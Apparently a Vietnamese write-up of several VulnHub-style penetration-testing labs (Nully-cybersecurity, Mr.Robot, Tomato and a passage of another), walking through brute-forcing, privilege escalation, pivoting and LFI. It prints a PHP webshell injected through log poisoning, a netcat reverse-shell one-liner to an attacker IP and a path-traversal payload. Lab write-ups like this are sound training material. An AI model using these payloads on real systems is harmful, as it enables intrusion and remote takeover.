![image](https://hackmd.io/_uploads/Ske6-m3NJe.png) Trên là giao diện web trên port 80. Sử dụng gobuster không cho ta kết quả. Xem qua source trang web có một file ảnh duy nhất. Tải file ảnh này về máy kali và phân tích. Sau khi tải file ảnh về. Mình dùng ngay lệnh strings để xem trong file có giấu thứ gì đó khôg: ![image](https://hackmd.io/_uploads/SJsDbPhVJx.png) Lướt xuống cuối, 2 dòng cuối khá mờ ám, dù không giống thông tin đăng nhập cho lắm, dựa theo gợi ý "Login Credentials" thì đây khả năng cao là thông tin đăng nhập ở đâu đó. ![image](https://hackmd.io/_uploads/rkA_ZP241e.png) Do trên web , mình không tìm được trang nào có thể nhập login được, nên suy nghĩ chỉ có thể login qua ssh vì port 22 ssh đang mở. Sau khi login ssh với 2 thông tin trên, kết quả đều faile: ![image](https://hackmd.io/_uploads/ryN-UP3Nyg.png) ![image](https://hackmd.io/_uploads/r1n-8whNJg.png) ### RCE Đem 2 nội dung này lên CyberCheef để tìm xem có giải mã ra chút thông tin nào không. Sau nhiều nỗ lực decode không được, mình có tham khảo writeup thì biết đoạn này bị encode caesar ROT13, sau đó bị đảo ngược =)) ![image](https://hackmd.io/_uploads/BkeAtP3NJg.png) Mình đăng nhập được vào ssh với thông tin login trên: ![image](https://hackmd.io/_uploads/ryWaaD3V1g.png) Mình thử ls thì thấy có tập tin tfc có quyền SUID cho ta quyền thực thi với quyền của người dùng root: ![image](https://hackmd.io/_uploads/H1P3AP2V1e.png) ![image](https://hackmd.io/_uploads/BJxAtV_24yx.png) Do shell hiện tại bị hạn chế, không thể thực hiện chạy file. Check thấy có python nên mình up lên interact shell sử dụng pty.spawn trong python: ![image](https://hackmd.io/_uploads/SkblH_hVJx.png) Chạy file tfc: ![image](https://hackmd.io/_uploads/HyuWHO24yl.png) Đến đây mình chưa hiểu rõ lắm tfc này là gì, để làm gì. ![image](https://hackmd.io/_uploads/rkhydd2Vke.png) Mình chạy lệnh với file input.tfc vừa rồi theo cú pháp yêu cầu: ![image](https://hackmd.io/_uploads/ByGZdOnEkg.png) Có vẻ đây là hàm mã hóa: ![image](https://hackmd.io/_uploads/rkZvOOnVyx.png) Mình thử ngược lại với file output.tfc thì phát hiện hàm tfc không mã hóa mà giải mã thành nội dung ban đầu: ![image](https://hackmd.io/_uploads/ryfPidhVye.png) Lưu lại file này vào máy kali để phân tích: ![image](https://hackmd.io/_uploads/SJR-1K2V1g.png) Mình có thử host http với python nhưng không được. Sử dụng scp để copy file tới máy kali: ![image](https://hackmd.io/_uploads/Sk1bkchN1x.png) Sử dụng trình disassembly cutter , ta xem được hàm main(): ![image](https://hackmd.io/_uploads/H1wTbchNkg.png) Mình thấy hàm main() thực hiện mã hóa input bằng hàm cryptFile(), xem nội dung hàm cryptFile(): ```C do { var_18h = read(fildes, &buf, max_length); if (var_18h < 1) { close(fildes); close(fd); return 1; } xcrypt((int32_t)&buf, (char *)max_length); var_1ch = write(fd, &buf, var_18h); } while (var_1ch == var_18h); return 0; ``` Ở đây, hàm xcrypt được sử dụng để mã hóa nội dung đọc vào biến buf, xem nội dung hàm xcrypt(): ```C undefined4 xcrypt(int32_t buf, char *max_length) { int32_t var_18h; int32_t var_14h; int32_t var_10h; unsigned long var_ch; unsigned long var_8h; var_10h = -0x15e54e61; for (var_8h = 0; var_8h < (uint32_t)max_length >> 2; var_8h = var_8h + 1) { *(uint32_t *)(var_8h * 4 + buf) = *(uint32_t *)(buf + var_8h * 4) ^ var_10h; for (var_ch = 0; var_ch < 8; var_ch = var_ch + 1) { if ((var_10h & 1U) == 0) { var_10h = (uint32_t)var_10h >> 1; } else { var_10h = (uint32_t)var_10h >> 1 ^ 0x6daa1cf4; } } } for (var_8h = 0; var_8h < ((uint32_t)max_length & 3); var_8h = var_8h + 1) { *(uint8_t *)(((uint32_t)max_length & 0xfffffffc) + var_8h + buf) = (uint8_t)var_10h ^ *(uint8_t *)(buf + ((uint32_t)max_length & 0xfffffffc) + var_8h); var_10h = (uint32_t)var_10h >> 8; } return 0; } ``` Đoạn xcrypt() trên được dùng để mã hóa nội dung file nhập vào, khá khó hiểu. Phải mất khá nhiều thời gian tìm hiểu, đọc writeup, mình mới ngẫm được cách khai thác lỗi buffer overflow trong bài. ## Nully-cybersecurity ### Enum Máy kali: ![image](https://hackmd.io/_uploads/rJocnUgSJx.png) Xác định IP của máy vuln qua lệnh netdiscover: ![image](https://hackmd.io/_uploads/rJXahIlBJx.png) Scan các port đang mở với nmap: ![image](https://hackmd.io/_uploads/HkYHp8gSkg.png) Truy cập port 80 có web, ta nhận được rule và gợi ý thông tin login mail như sau: ![image](https://hackmd.io/_uploads/HJMxCUeHye.png) ![image](https://hackmd.io/_uploads/B1oORIlBkl.png) Theo như rule thì mình không được attack port 80, 8000, 9000. Vì vậy chỉ còn có port 2222, 110. Bên dưới ta đực cung cấp thông tin login vào email: ``` pentester:qKnGByeaeQJWTjj2efHxst7Hu0xHADGO ``` Thử login POP3 (port 110) với thông tin trên, kết nối qua Telnet: ![image](https://hackmd.io/_uploads/BkuXyDeryx.png) Kết quả của lệnh stat (lệnh kiểm tra ) cho biết trong hộp thư có 1 email, kích thước 657 byte. Kiểm tra nội dung của email này: ![image](https://hackmd.io/_uploads/r1LPyver1l.png) ### brute-force Dựa theo nội dung mail, ta sẽ thực hiện brute-force để truy cập server này. ![image](https://hackmd.io/_uploads/By_m1SCEJx.png) Theo mô tả bài lab, ta có được wordlist, giảm thời gian brute-force khi dùng nguyên file rockyou.txt: ![image](https://hackmd.io/_uploads/rJ2DCNRN1l.png) Sử dụng hydra, thực hiện brute-force với thông tin username "bob" (do admin trong email tên là "Bob Smith") với wordlist vừa tạo bên trên: ![image](https://hackmd.io/_uploads/r110kvxrJe.png) ![image](https://hackmd.io/_uploads/B1nOdDgB1x.png) Ta có được thông tin login `bob:bobby1985`, thử đăng nhập lại mail với telnet: ![image](https://hackmd.io/_uploads/ByL6uwerye.png) Không có thông tin gì trong mail của bob. Thử login ssh với thông tin trên, ta ssh vào được hệ thống với user bob: ![image](https://hackmd.io/_uploads/SJgvtPgBkl.png) ![image](https://hackmd.io/_uploads/H1gpKPgByg.png) ![image](https://hackmd.io/_uploads/SyJNcPxByx.png) ### exploit Mail-server Check /etc/passwd, hệ thống có 3 user được phép login là root, bob, my2user: ![image](https://hackmd.io/_uploads/BJVmhSAEyx.png) Check sudo -l : ![image](https://hackmd.io/_uploads/HJejhB0EJl.png) ![image](https://hackmd.io/_uploads/H1DahB0Vyl.png) Mình thấy file check.sh được thực thi với với người dùng my2user, mà user bob có quyền edit file này => Ta có thể switch sang user my2user. Nhưng trước tiên, xem nội dung file check.sh có gì hay ho không: ![image](https://hackmd.io/_uploads/rkcApSR4yl.png) Đơn giản chỉ là các lệnh list service, kiểm tra kết nối, tiến trình. Chạy qua thì không thấy có gì khai thác được. Thực hiện edit file để leo quyền my2user: ![image](https://hackmd.io/_uploads/Hkz-JIR41e.png) Lưu lại file, chạy lại thì ta đã switch thành công sang người dùng my2user: ![image](https://hackmd.io/_uploads/ryp1e8RNkx.png) Đầu tiên, kiểm tra thư mục người dùng my2user xem có gì thú vị: ![image](https://hackmd.io/_uploads/HJOsLUREkg.png) ![image](https://hackmd.io/_uploads/BytXDI041l.png) Mình check không có file nào thú vị trong các file này. Mình sử dụng tiếp lệnh sudo -l, user này có thể chạy lệnh zip với quyền root: ![image](https://hackmd.io/_uploads/Sky0xIA4ke.png) Mình chưa rõ sẽ cần zip chạy với quyền root để làm gì, search trên [gtfobins](https://gtfobins.github.io/gtfobins/zip/#sudo) (trang hacktrick về priv escalation). ![image](https://hackmd.io/_uploads/SJ9dp8R4yg.png) Thực thi theo các lệnh trên, ta được quyền root: ![image](https://hackmd.io/_uploads/HkSPjwgS1x.png) Chuyển vào thư mục root, ta lấy được flag1. ![image](https://hackmd.io/_uploads/By0UCIC4yl.png) Theo description của bài lab, có tất cả 3 server lab, mình hiện tại mới chỉ root được MailServer. Theo gợi ý nội dung flag trên thì mục tiêu tiếp theo chắc chắn là Webserver: ![image](https://hackmd.io/_uploads/SkEl1wAVJx.png) Từ máy MailServer, mình dùng ifconfig để xem cấu hình mạng: ![image](https://hackmd.io/_uploads/Bkp30_lHke.png) Địa chỉ này khác với địa chỉ ssh vừa nãy (172.20.10.6), do đó mình suy luận địa chỉ MailServer này là địa chỉ nội bộ trong dải mạng LAN. Dùng route -n , mình biết được Gateway của mạng LAN là 172.17.0.1: ![image](https://hackmd.io/_uploads/BJf44FeBkl.png) Mình sẽ sử dụng nmap để scan các địa chỉ, server trên mạng: ![image](https://hackmd.io/_uploads/BypKHtxBkl.png) Kết quả phát hiện thêm 3 ip khác, trong đó chú ý có ip 172.17.0.2 có port 22 (ssh) và port 80 (http) đang mở, ip 172.17.0.4 có port 21 (ftp) và ssh port 22. Mình truy cập web trước tiên để kiểm tra: ![image](https://hackmd.io/_uploads/r1jwvYxr1l.png) Không thể kết nối đến ip LAN từ máy kali, thử curl 172.17.0.2 trên máy MailServer thì vẫn được: ![image](https://hackmd.io/_uploads/SJCoPKxH1x.png) Do không thể kết nối trực tiếp tới các ip LAN từ máy kali, Ý tưởng ở đây là mình sẽ tạo kết nối đến WebServer (ip 172.17.0.2) từ kết nối máy MailServer (ip 172.17.0.3), máy Mailserver cấu hình port forwarding đến máy kali. Mình sẽ sử dụng portfwd trong metasploit. Trước tiên phải tạo meterpreter session metasploit. Trên kali tạo file shell với msfvenom: ![image](https://hackmd.io/_uploads/SkvLsYeSyg.png) Gửi đến máy Mailsever bằng python và wget: ![image](https://hackmd.io/_uploads/Bk_njtlHkg.png) ![image](https://hackmd.io/_uploads/r1bCoKgSkg.png) Tạo handle nhận kết nối shell trên máy kali: ![image](https://hackmd.io/_uploads/HJq6CFeB1e.png) Cấu hình địa chỉ máy kali và payload tương đương payload sử dụng trong shell_meter: ![image](https://hackmd.io/_uploads/HkCtP9gr1l.png) Run handle và chạy shell_meter trên MailServer, ta nhận được meterpreter trên kali: ![image](https://hackmd.io/_uploads/r1eF_ceBJx.png) Để cho phép máy kali định tuyến tới các máy khác trong mạng LAN của Webserver, mục đích để kết nối tới các máy khác mà không cần phải khai thác từng máy một. Ta run autoroute ![image](https://hackmd.io/_uploads/ByPwyjxBke.png) > Lệnh này được sử dụng trong Metasploit. autoroute là một module trong Metasploit Framework, và nó được dùng để thiết lập tuyến đường (route) trên một session khai thác để có thể truy cập vào các mạng con (subnet) khác nằm phía sau mục tiêu. Sau đó, mình forwarding port 80 trên Webserver (172.17.0.2) đến port 9999 local để có thể truy cập trực tiếp từ ip máy kali: ![image](https://hackmd.io/_uploads/HJCW7ixr1e.png) Truy cập port 9999 trên kal, ta được một giao diện web từ webserver: ![image](https://hackmd.io/_uploads/HkIcXixHkg.png) Phát hiện có người dùng Oliver, kiểm tra robots.txt thì thấy path là /ping: ![image](https://hackmd.io/_uploads/HkfkjolB1x.png) Có file ping.php: ![image](https://hackmd.io/_uploads/S1wmjixH1e.png) Mình phát hiện ra Command injection ở tham số host : ![image](https://hackmd.io/_uploads/Skwk3ixBkl.png) ![image](https://hackmd.io/_uploads/BJ2gBb-Hke.png) (Cập nhật lại ip các máy do lỗi mạng) Sau khi phát hiện command injection, mình tạo reverse shell và lấy được shell người dùng www-data: ![image](https://hackmd.io/_uploads/S1cZtbZryx.png) Shell của www-data user trên máy Webserver: ![image](https://hackmd.io/_uploads/H1K7t-bHkl.png) ### exploit Web-Server Kiểm tra thư mục hôm, ta thấy được 2 người dùng là oliver và oscar: ![image](https://hackmd.io/_uploads/H1Dx5WZSyx.png) Kiểm tra các file có quyền SUID (thực thi với quyền chủ sở hữu) thì ta phát hiện python3 có SUID với người sở hữu là oscar: ![image](https://hackmd.io/_uploads/HysAq-ZSye.png) Chạy python tạo bash, ta được shell user oscar: ![image](https://hackmd.io/_uploads/S17MhbZSyl.png) Lấy được mật khẩu của oscar: ![image](https://hackmd.io/_uploads/SkT92WZBke.png) Có được password của oscar, mình đăng nhập lại với oscar user qua ssh cho tiện: ![image](https://hackmd.io/_uploads/S1HrCZWrye.png) (Để có kết nối trên máy kali này, mình đã portfwd port 22 ssh tới port 2223 trên máy kali, do đó mình dễ dàng ssh Webserver từ local). Kiểm tra /scripts thì thấy có file có thể chạy với quyền root: ![image](https://hackmd.io/_uploads/H1kf1fWrJx.png) ![image](https://hackmd.io/_uploads/r1oV1MZSyx.png) Ý tưởng up-to-root ở đây, mình sẽ giả mạo hàm date và thêm vào đầu biến PATH, do đó khi thực thi sẽ tìm file date (độc hại do mình tạo - nhằm tạo shell với quyển root). Tạo file date như sau: ![image](https://hackmd.io/_uploads/Bk3Elf-Byx.png) ![image](https://hackmd.io/_uploads/rkK2eGZBkl.png) Chạy file current-date, ta up-to-root: ![image](https://hackmd.io/_uploads/HyFbbz-rkg.png) Cd vào /root, ta có được flag thứ 2: ![image](https://hackmd.io/_uploads/SkP8ZGbr1e.png) Root được Webserver, tiếp tục với Database server: ![image](https://hackmd.io/_uploads/Bk8obfZH1e.png) ![image](https://hackmd.io/_uploads/SyRffGbBJx.png) ![image](https://hackmd.io/_uploads/SkNEzfWHJx.png) Đăng nhập vào ftp trên Database server (ip 172.17.0.2), mình thu được 2 file và 1 thư mục backup: ![image](https://hackmd.io/_uploads/SyifHfbBkl.png) Xem nội dung 2 file thì không có gì, unzip file backup xem sao: ![image](https://hackmd.io/_uploads/SyIYrzbr1e.png) File backup chắc chắn để pass rồi, dùng fcrackzip: ![image](https://hackmd.io/_uploads/SkP7UMWS1g.png) Tải file dic rockyou.txt để brute-force. Sau đó chạy lệnh fcrackzip: ![image](https://hackmd.io/_uploads/HJJRIG-Bkx.png) Ta tìm được pass, tiến hành giải nén file backup xem: (lệnh ở trên thì nôm na -u : unzip, -D:use dictionary, -p: dic file ): ![image](https://hackmd.io/_uploads/Sy6SDGWrkx.png) Tuyệt vời, ta lại có thông tin login, ssh với Database server với thông tin trên: ![image](https://hackmd.io/_uploads/r1gKufbr1e.png) ### exploit Database-server Trong thư mục home của donald không có gì thú vị, mình nghĩ database server sẽ có thể cài cắm gì nên kiểm tra /opt thì thấy có file screen có cả version ở tên: ![image](https://hackmd.io/_uploads/HkA0_fbS1l.png) Khả năng cao là tải trên mạng về, sau đó un gzip cài đặt. Check file với SUID trên hệ thống: ![image](https://hackmd.io/_uploads/ry8mYGWB1g.png) Ứng dụng có quyền chạy SUID với quyền root: ![image](https://hackmd.io/_uploads/Hy3BKM-Hkx.png) Thử search exploit xem sao, vì file này khả năg cao là down về , do có số version trong file: ![image](https://hackmd.io/_uploads/rkaqYMWrJe.png) ![image](https://hackmd.io/_uploads/rktTKfbHJl.png) Có payload khai thác, mình copy toàn bộ code vào /tmp: ![image](https://hackmd.io/_uploads/Byub9GbrJl.png) Cấp quyền và chạy exploit: ![image](https://hackmd.io/_uploads/SylH5zZByx.png) Ta có được root: ![image](https://hackmd.io/_uploads/rk7_9fWrke.png) Vậy là done, đây có lẽ là lab dài nhất mình từng làm. ## Mr.Robots Dùng netdiscover, xác định được máy lab với ip 172.20.10.7: ![image](https://hackmd.io/_uploads/By3tLmZSJg.png) Chạy nmap scan xác định các service, port: ![image](https://hackmd.io/_uploads/SyFUwXbHkx.png) Truy cập web xem có gì thú vị: ![image](https://hackmd.io/_uploads/B1zcD7-Syl.png) Giao diện web rất màu mè, nhiều chữ. Xem robots.txt thì được key đầu tiên và file dic (khả năng brute-force thành công ở đâu đó): ![image](https://hackmd.io/_uploads/Syp-YQWBJg.png) Key đầu tiên: ![image](https://hackmd.io/_uploads/rkzLtmbS1l.png) Sau một hồi dirsearch directory trang web, ta phát hiện được trang login: ![image](https://hackmd.io/_uploads/BJ1dcXWHye.png) Sử dụng file dic fsocity.dic vừa thu được, kiểm tra thấy có nhiều dòng trùng nhau, mình đã thực hiện sort list dic này. Nhập username để test phản hồi web: ![image](https://hackmd.io/_uploads/SJx-smWH1g.png) Trang web trả về lỗi chi tiết: username invalid. Điều này dễ dàng cho hacker brutefoce. Dùng hydra với file dic để brute-force trang login này, sau một hồi mình thu được thông tin login hợp lệ: > elliot:ER28-0652 Sử dụng file dic để brute username với password trang login với thông tin trên, ta login vào được trang blog: ![image](https://hackmd.io/_uploads/rJFaj7ZB1l.png) Mình vào được trang admin với thông tin trên: ![image](https://hackmd.io/_uploads/Skbf2XbSJx.png) ![image](https://hackmd.io/_uploads/B1B-pXZSJl.png) Vì trang php này viết bằng php, và có thể cho ta upload file theme viết bằng php. Tận dụng điều này để upload file reverse shell: Sử dụng metasploit để tạo shell khai thác: ![image](https://hackmd.io/_uploads/B1YFp7ZSkg.png) Cài đặt các tham số: ![image](https://hackmd.io/_uploads/HkbxWV-Hkl.png) ``` RHOSTS là địa chỉ web chúng ta muốn khai thác USERNAME là username của admin (trong trường hợp này là Elliot) Passowrd là password admin (ER28-0652) LHOST là ip của máy attack LPORT là port muốn reverse shell về ``` Chạy exploit và thu được shell: ![image](https://hackmd.io/_uploads/HJFG-N-rke.png) Check thì thấy đang là user daemon ![image](https://hackmd.io/_uploads/BJA7WNZHyl.png) Tìm tìm trong hệ thống thì có phần thứ 2 của hệ thống và một file password: ![image](https://hackmd.io/_uploads/ry6rZEWSJg.png) ![image](https://hackmd.io/_uploads/BkQLWEZHyg.png) Thử bruteforce xem có thể crack được hash này không. Có thể sử dụng hashcat: ![image](https://hackmd.io/_uploads/rkcwW4ZHye.png) > Giải thích một chút > -m 0, trong hashcat có nhiều mode cho nhiều loại hash trong đó mode 0 là cho md5 > -a 0 là chế độ brute force theo wordlist, cụ thể ở đây mình sử dụng wordlist rockyou ![image](https://hackmd.io/_uploads/rJQYbVZB1l.png) Kết quả có được password của user robot. Mình đăng nhập user robot với password này: ![image](https://hackmd.io/_uploads/SJSiW4-Bke.png) Ta có được phần thứ 2 của key flag: ![image](https://hackmd.io/_uploads/BkET-4br1g.png) Tiếp theo để leo lên quyền root thì mình tìm xem có những file binary nào có bit s (SUID), khi được gán bit này thì có thể thực thi file thực thi dưới quyền của người gán mà cụ thể ở đây là root: Để tìm các file thực thi có bit s (SUID) có thể sử dụng câu lệnh sau: ``` find / -type f -perm -4000 -type f 2>/dev/null ``` ![image](https://hackmd.io/_uploads/B1k4f4ZHkl.png) Đáng chú ý ở đây có file nmap. Kiểm tra thì thấy nmap ở version 3.81: ![image](https://hackmd.io/_uploads/HyJLzV-ryg.png) Mình tìm thử trên gtfobins thì được đoạn khai thác leo thang đặc quyền sau: ![image](https://hackmd.io/_uploads/rJUuG4-Skx.png) Mình thấy nó nằm trong version có thể khai thác với –interactive -> do đó , mình chạy khai thác trên: ![image](https://hackmd.io/_uploads/rJSifN-B1e.png) Do vậy, việc khai thác nmap phiên bản cũ này, tận dụng SUID đặc quyền, Mình đã chiếm được root. Done Lab. ## Tomato ![image](https://hackmd.io/_uploads/By2DHKbByg.png) Truy cập và tải lab tại [vulnhub](https://www.vulnhub.com/entry/tomato-1,557/) ![image](https://hackmd.io/_uploads/HJ0y8tWSyx.png) Thì ip của máy tomato là 192.168.126.152 Sau đó mình sử dụng nmap để tìm xem máy mở những port nào > nmap -A -p- 192.168.126.152 ![image](https://hackmd.io/_uploads/HJ2m8FbHkl.png) Thì thấy có 2 port đáng chú ý là 80 và 8888. Port 8888 là port của nginx, mình thử truy cập thì thấy nó cần phải xác thực. Tuy nhiên là không có bất kì thông tin nào nên mình thử truy cập port còn lại là 80: ![image](https://hackmd.io/_uploads/BJe8IKWrkg.png) Thì đây là giao diện mình nhận được Thử fuzzing các file và folder xem có sót lại folder hay file nào misconfig không. Mình thử với khá nhiều wordlist và chỉ có wordlist với đường dẫn là /usr/share/wordlists/dirb/common.txt cho ra kết quả hữu ích > ffuf -u http://192.168.126.152/FUZZ -w /usr/share/wordlists/dirb/common.txt ![image](https://hackmd.io/_uploads/SknKItZSye.png) Có thể thấy hầu hết là mã 403 chúng ta không có quyền truy cập, chỉ có antibot_image và index.html là 301, 200. index.html thì là giao diện quả cà chua ở trên. Truy cập antibot_image thì nhận được giao diện như sau: ![image](https://hackmd.io/_uploads/SyaiUtbSke.png) Ấn vào folder và kết quả là: ![image](https://hackmd.io/_uploads/BJGpIKZBJg.png) Mình thử truy cập vào tất cả folder, file và chỉ có một file có hữu ích để tiếp tục khai thác là info.php. Bấm vào file này: ![image](https://hackmd.io/_uploads/B1gVR8F-BJx.png) Đây là file thực thi hàm phpinfo(). Thường thì file này chứa nhiều thông tin hữu ích để khai thác, đặc biệt hơn nữa ở bài này khi chúng ta ấn ctrl + U để xem source của file thì có một gợi ý: ![image](https://hackmd.io/_uploads/HJDJvFbB1l.png) > <?php include $_GET['image']; ?> Có thể thấy rõ ràng trang web chứa lỗ hổng LFI. Lỗ hổng cho phép lấy nội dung của các file trong hệ thống và thêm vào file php. ### Khai thác LFI Ở đây đường dẫn file được truyền vào với parameter image của phương thức GET: ![image](https://hackmd.io/_uploads/HkOyuFbBkl.png) Mình thử để tìm file /etc/passwd thì mình tìm ra payload là: ``` ../../../../../../../../etc/passwd ``` Tuy nhiên, nếu chỉ đến đây thôi thì không thể đi sâu vào hệ thống, thì từ việc đọc được file và include vào nội dung của file info.php chúng ta hoàn toàn có thể ghi một webshell vào nội dung của info.php: Với thông tin từ port 8888, biết được rằng trang web được host bằng nginx. Vậy log sẽ được ghi ở /var/log/nginx/access.log: Đọc thử file này: ![image](https://hackmd.io/_uploads/HJ6m_tZHke.png) Log này ghi lại các thông tin liên quan đến quá trình xác thựcxác thực: ![image](https://hackmd.io/_uploads/Bk83ut-Byg.png) Ở quá trình dò quét cổng, có một cổng đó là 2211. Cổng này cho phép chúng ta ssh tới. Mình thử ssh với user là test xem sao: ![image](https://hackmd.io/_uploads/Hkv6dK-HJg.png) Đọc lại file auth.log thì thấy tên user này được ghi trong auth.log: ![image](https://hackmd.io/_uploads/rkhAut-Ske.png) Mình thử login với tên user là webshell thì đều bị invalid do chứa kí tự đặc biệt: ![image](https://hackmd.io/_uploads/SySlFFbBye.png) Nên mình thử sử dụng metasploit login xem sao: ![image](https://hackmd.io/_uploads/H1FWttZBJg.png) ![image](https://hackmd.io/_uploads/H197FF-r1e.png) Set username là: `<?php echo system($_GET['cmd']) ?>` Set lại port là 2211: ![image](https://hackmd.io/_uploads/BJwUFtbB1x.png) Chạy thử exploit: ![image](https://hackmd.io/_uploads/B1ODKtWr1g.png) Mục đích ghi tên user vào auth.log chứ không cần khai thác thành công ở module này của metasploit: Sau đó mình thử sử dụng webshell với câu lệnh ls, thì thấy đã thành công: ![image](https://hackmd.io/_uploads/rJHcFtbBye.png) Đã thực thi được lệnh vậy giờ mình sẽ reverse shell về máy: ![image](https://hackmd.io/_uploads/B1EptF-H1x.png) Lắng nghe một cổng 4444, sau đó thực thi lệnh revershell: ![image](https://hackmd.io/_uploads/Hyvy9tWr1e.png) Mình thử nhiều payload nhưng chỉ có cái này làm được =)): ``` rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.126.128 4444 >/tmp/f ``` Kết quả mình nhận được shell: ![image](https://hackmd.io/_uploads/SkwM9tZB1e.png) Chạy thử xem phiên bản hiện tại của hệ điều hành là phiên bản nào: ![image](https://hackmd.io/_uploads/Sy0B9KZSkx.png) Search phiên bản này thì mình tìm thấy có lỗi: ![image](https://hackmd.io/_uploads/HkVP5FbB1x.png) Tải về sau đó build với gcc: ![image](https://hackmd.io/_uploads/HJD_5KZHkg.png) Sau đó truyền file này lên server bằng cách mở một http server với python: ![image](https://hackmd.io/_uploads/rkzn5t-B1g.png) Chạy file thực thi và đã có quyền root ![image](https://hackmd.io/_uploads/Hy5K9FWrye.png) ![image](https://hackmd.io/_uploads/r1xqqKWBkl.png) Done! Ta giải quyết xong bài lab.